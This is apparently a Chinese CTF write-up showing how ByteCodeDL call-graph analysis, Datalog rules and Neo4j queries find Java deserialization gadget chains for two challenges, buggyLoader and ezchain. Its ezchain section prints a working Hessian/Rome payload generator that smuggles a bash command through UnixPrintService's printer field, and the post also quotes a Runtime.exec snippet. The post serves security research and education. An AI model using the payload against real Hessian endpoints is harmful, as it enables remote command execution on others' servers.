本文将分享如何用 ByteCodeDL 的 CHA 调用图分析功能,解决两个CTF题目。
0x00 buggyLoader 0ctf-2021-final
这是0ctf 2021 决赛的一道题目,NeSE和r3kapig解出了这个题目。题目地址见buggyLoader。这道题的灵感来自Shiro环境下的CC链构造,准确的说来自zsx的这篇文章
难点在于反序列化时无法创建数组类型,导致InvokerTransformer 的字段iArgs只能为null,所以最终只能调用public 无参函数。常见的反序列化最后调用的函数有:
- JdbcRowSetImpl#getDatabaseMetaData() 和 JdbcRowSetImpl#getParameterMetaData 利用JNDI进行攻击
- TemplatesImpl#getOutputProperties()
但是上述两类在这个题目都不能用,由于不出网,第一种方式不能用,由于TemplatesImpl的_bytecodes
字段为数组,所以第二种方式也不能用。
Orange在做强网杯那题的时候,最后使用了JRMP Client 这个payload,第一次反序列化时,发起RMI请求,然后在RMI处理响应的时候会再次触发反序列化,第二次反序列化就没有任何限制了。这种方式有两种局限,第一种是需要环境能外连,第二种是高版本的JDK下JRMP Client这个payload不能用了(具体的版本我忘了)。
如果这题能够外连,可以先调用JdbcRowSetImpl,利用JNDI发起一次RMI请求,在RMI处理响应时会再次触发反序列化,类似JRMP Client的效果,但是对JDK版本没有限制。
已知的套路都不能用了,这题该怎么做呢?重新找个能够造成危害的public 无参函数:可以直接执行命令/代码或者能够二次反序列化。
第一步我们先筛选出 public 无参函数
#include "inputDeclaration.dl"
#include "utils.dl"
.decl NonParamPublicMethod(method:Method, class:Class)
.output NonParamPublicMethod
NonParamPublicMethod(method, class) :-
MethodInfo(method, simplename, _, class, _, _, arity),
// method 需要被pulic修饰
MethodModifier("public", method),
// 排除构造函数
simplename != "<init>",
// 参数数量为零
arity = 0,
// 类需要能可序列化
SubClass(class, "java.io.Serializable").
JDK中满足条件的一共10459条,如果一条条筛选下来还是比较困难的
我们再进一步做个限制,让这10459个初步满足条件的函数,作为入口函数,进行调用图分析,看一下5步之内,有没有可能调用到危险函数。
example/ctf-buggyLoader.dl
#define MAXSTEP 5
#include "inputDeclaration.dl"
#include "utils.dl"
#include "cha.dl"
.decl NonParamPublicMethod(method:Method, class:Class)
.output NonParamPublicMethod
// 通过class和函数名定义危险函数
.decl SinkDesc(simplename:symbol, class:Class)
// 加入常见的危险函数
SinkDesc("exec", "java.lang.Runtime").
SinkDesc("<init>", "java.lang.ProcessBuilder").
SinkDesc("start", "java.lang.ProcessImpl").
SinkDesc("loadClass", "java.lang.ClassLoader").
SinkDesc("defineClass", "java.lang.ClassLoader").
SinkDesc("readObject", "java.io.ObjectInputStream").
SinkDesc("readExternal", "java.io.ObjectInputStream").
// 定义具体的危险函数
.decl SinkMethod(method:Method)
.output SinkMethod
// 定义具体的危险函数
.decl EntryMethod(method:Method)
// 根据方法名和类名解析初具体的危险方法
// 子类中的同名方法也认为是危险函数
SinkMethod(method) :-
SinkDesc(simplename, class),
SubEqClass(subeqclass, class),
!ClassModifier("abstract", subeqclass),
MethodInfo(method, simplename, _, subeqclass, _, _, _).
// 将满足条件的无参函数作为入口方法
EntryMethod(method),
Reachable(method, 0),
NonParamPublicMethod(method, class) :-
MethodInfo(method, simplename, _, class, _, _, arity),
MethodModifier("public", method),
simplename != "<init>",
arity = 0,
SubClass(class, "java.io.Serializable").
// 调用图中节点
.decl CallNode(node:Method, label:symbol)
.output CallNode
// 不是入口节点和危险节点 标记为method
CallNode(node, "method") :-
!EntryMethod(node),
!SinkMethod(node),
Reachable(node, _).
// 危险节点标记为 sink
CallNode(node, "sink") :-
Reachable(node, _),
SinkMethod(node).
// 入口节点标记为entry
CallNode(node, "entry") :-
EntryMethod(node).
// 调用边
.decl CallEdge(caller:Method, callee:Method)
.output CallEdge
CallEdge(caller, callee) :-
CallGraph(_, caller, callee).
对于如何输入生成facts,如何执行souffle,参考ByteCodeDL文档
通过 bash importOutput2Neo4j.sh neoImportCall.sh dbname 导入到neo4j数据库
执行查询
MATCH p=(e:entry)-[*1..2]->(s:sink) where s.method contains "readObject" RETURN p
长度为1-2的调用到readObject的路径
可以筛选出
<java.security.SignedObject: java.lang.Object getObject()>
<java.rmi.MarshalledObject: java.lang.Object get()>
但是这俩还是都需要数组字段,不满足我们的需求
对于排查不满足需求的,可以通过下面的方式删除节点,同时删除和这个节点相连的边
MATCH (m:method) where ID(m)=42186
DETACH DELETE m
长度为4的查询
MATCH p=(e:entry)-[*4]->(s:sink) where s.method contains "readObject" RETURN p
MATCH p=(e:entry)-[*4]->(s:sink) where s.method contains "readObject" and ID(e)=57653 unwind nodes(p) as n return n.method
查询结果
<javax.management.remote.rmi.RMIConnector: void connect()>
<javax.management.remote.rmi.RMIConnector: void connect(java.util.Map)>
<javax.management.remote.rmi.RMIConnector: javax.management.remote.rmi.RMIServer findRMIServer(javax.management.remote.JMXServiceURL,java.util.Map)>
<javax.management.remote.rmi.RMIConnector: javax.management.remote.rmi.RMIServer findRMIServerJRMP(java.lang.String,java.util.Map,boolean)>
<java.io.ObjectInputStream: java.lang.Object readObject()>
大致的流程如下
rmiConnector.jmxServiceURL.urlPath -> base64 decode -> ByteArrayInputStream -> ObjectInputStream -> readObject
这个刚好满足我们的要求,最终的解法就是:
readOjbect -> ... -> InvokerTransformer -> RMIConnector#connect() -> .. -> readObject -> 传统的 CC 链
具体payload
0x01 ezchain hfctf2022
这是虎符CTF 2022的一道题,bk和ty1310解出了这个题目。题目的环境见ezchain
这也是道反序列化的题,只不过换成了Hessian反序列化,也是内网环境,无法外连。给了Rome第三方库,Marshalsec中包含了这个链,不过最后调用的是JdbcRowSetImpl ,利用JNDI完成攻击。由于无法外连,所以这条路被堵死了。熟悉反序列化的同学,应该能想到可以换成TemplatesImpl , 经过调试之后发现也不行,因为Hessian在反序列化的时候不会调用readObject ,导致被transient 修饰的字段_tfactory
一直为null,后续调用_tfactory.getExternalExtensionsMap()
会触发空指针错误。
所以已公开的东西都用不了了,需要重新找链,分析之后发现Rome链一直能用到调用任意无参数的getter函数,所以我们只要再重新找个getter函数即可。和上题差不多,危险函数可以是能够执行命令/代码或者能够造成二次反序列化。
其实在上题中,我们已经找到了一个满足条件的getter函数,那就是
<java.security.SignedObject: java.lang.Object getObject()>
利用getObject可以造成二次反序列化,然后就可以使用ysoserial中的rome链了,这个解法是二血ty1310队伍提供的。
只要将ctf-buggyLoader.dl中的入口函数限制改一下,就可以用到这个题上
EntryMethod(method),
Reachable(method, 0),
NonParamPublicMethod(method, class) :-
MethodInfo(method, simplename, _, class, _, _, arity),
MethodModifier("public", method),
// 方法名包含get
contains("get", simplename),
// 无参数
arity = 0.
// hessian反序列化时不要求实现Serializable
如果按照这个版本的cha.dl 只能找到这个,这个我也已经验证可以用。payload我就不给了,大家可以参考UnixPrintServiceLookup进行构造。
<com.sun.corba.se.impl.activation.ServerManagerImpl: int[] getActiveServers()>
<com.sun.corba.se.impl.activation.ServerTableEntry: boolean isValid()>
<com.sun.corba.se.impl.activation.ServerTableEntry: void activate()>
<java.lang.Runtime: java.lang.Process exec(java.lang.String)>
但是并没有找到预期解,这个UnixPrintServiceLookup这个类,这是因为在构造调用图时没有考虑一种间接调用,这种间接调用可以简化成这种
caller(){
AccessController.doPrivileged(new PrivilegedExceptionAction() {
public Object run() throws IOException {
callee();
}
}
}
由于doPrivileged是native方法,无法进行后续的分析,这里就需要进行个特殊处理,认为caller可以直接调用这个run方法
CallGraph(insn, caller, callee) :-
Reachable(caller, n),
n < MAXSTEP,
StaticMethodInvocation(insn, _, method, caller),
MethodInfo(method, "doPrivileged", _, "java.security.AccessController", _, _, _),
ActualParam(0, insn, param),
VarType(param, type),
MethodInfo(callee, "run", _, type, _, _, 0).
改进之后的完整版本cha.dl
然后当长度为设置4的时候就可以查到了
<sun.print.UnixPrintServiceLookup: javax.print.PrintService getDefaultPrintService()>
<sun.print.UnixPrintServiceLookup: java.lang.String getDefaultPrinterNameBSD()>
<sun.print.UnixPrintServiceLookup: java.lang.String[] execCmd(java.lang.String)>
<sun.print.UnixPrintServiceLookup$1: java.lang.Object run()>
<java.lang.Runtime: java.lang.Process exec(java.lang.String[])>
payload为
public class Main {
public static void main(String[] args) throws Exception{
System.out.println("HFCTF2022".hashCode());
s = ":Y1\"nOJF-6A'>|r-";
System.out.println(s.hashCode());
String cmd = args[0];
String path = args[1];
FileOutputStream outputStream = new FileOutputStream(path);
Hessian2Output out = new Hessian2Output(outputStream);
SerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unix = unsafe.allocateInstance(UnixPrintService.class);
setFieldValue(unix, "printer", String.format(";bash -c '%s';", cmd));
setFieldValue(unix, "lpcStatusCom", new String[]{"ls", "ls", "ls"});
ToStringBean toStringBean = new ToStringBean(Class.forName("sun.print.UnixPrintService"), unix);
EqualsBean hashCodeTrigger = new EqualsBean(ToStringBean.class, toStringBean);
out.writeMapBegin("java.util.HashMap");
out.writeObject(hashCodeTrigger);
out.writeObject("value");
out.writeMapEnd();
out.close();
}
public static void setFieldValue(Object obj, String field, Object value){
try{
Class clazz = obj.getClass();
Field fld = clazz.getDeclaredField(field);
fld.setAccessible(true);
fld.set(obj, value);
}catch (Exception e){
e.printStackTrace();
}
}
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
*/
@Override
public Serializer getObjectSerializer (Class<?> cl ) throws HessianProtocolException {
return super.getObjectSerializer(cl);
}
/**
* {@inheritDoc}
*
* @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
*/
@Override
public Serializer getSerializer ( Class cl ) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
if ( serializer instanceof WriteReplaceSerializer) {
return UnsafeSerializer.create(cl);
}
return serializer;
}
}
}
然后再通过命令盲注的方式,或者attach agent的方式获取flag。
赛后和选手交流的时候,Y4tacker问我下面payload 行不行?
Runtime runtime = Runtime.getRuntime();
Expression expression = new Expression(runtime, "exec", new Object[]{"open -na Calculator"});
expression.getValue();
通过调试发现最终确实能够调用到getValue,但是getValue中,unbound是个static变量,反序列化时不可控,无法让value和unbound相等,我尝试用reference,发现只能reference已经反序列化好的对象。
public Object getValue() throws Exception {
if (value == unbound) {
setValue(invoke());
}
return value;
}
所以getValue这个getter不能用。
最后也发现一些问题,长度设置为6,在76880 nodes 1119478 relationships 的情况下就查不来了,不知道建立索引会不会好一点。
MATCH p=(e:entry)-[*6]->(s:sink) where s.method contains "exec" RETURN p
对于如何提升ByteCodeDL的效率和精度后面再介绍。
CHA的优点一是快,二是不存在漏报,但是这也是他的缺点,存在大量的误报,实际测试下来发现需要排除的东西还挺多,仍有不少工作量,还有很大的提升空间。后面将尝试利用污点分析对该任务的精度进行提升。